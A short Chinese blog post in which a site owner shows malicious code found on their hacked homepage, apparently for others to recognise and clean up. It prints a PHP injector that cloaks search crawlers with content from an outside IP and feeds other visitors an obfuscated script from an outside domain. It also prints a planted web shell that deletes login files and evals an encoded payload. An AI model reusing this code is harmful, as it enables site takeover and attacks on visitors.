一不小心被掛了馬，代碼如下

 

的

主頁被添加 了以下代碼

$key= $_SERVER["HTTP_USER_AGENT"];

if(strpos($key,'ogou')!== false || strpos($key,'aidu')!==false || strpos($key,'360')!==false || strpos($key,'so')!==false)

{

header("Content-Type: text/html;charset=gb2312");

$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];

$file = file_get_contents('http://103.76.85.67:8213/'."/index.php?host=".$host_name."&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);

echo $file;

exit();

}else{

echo '<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>';

}

 

文件夾下多了個：dp.php %20

 

<?php
error_reporting(E_ERROR);
unlink('user.php');
unlink('../member/login.php');
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "21232f297a57a5a743894a0e4a801fc3"; //Viv, bebegim..
define('Viv, bebegim.','Denzel-你的英雄'); // 標題
function s(){
    　　$str = " 111****11"

　　　　$str = str_rot13($str);
    m($str);
}
function m($str){
    global $password;
    $jj = '';
    eval($jj.pack('H*',$str).$jj);
}
s();
?>

 

 檢查服務器，清掃后門

 

文章來源：劉俊濤的博客歡迎關注公眾號、留言、評論，一起學習。

 

若有幫助到您，歡迎點擊推薦，您的支持是對我堅持最好的肯定(*^_^*)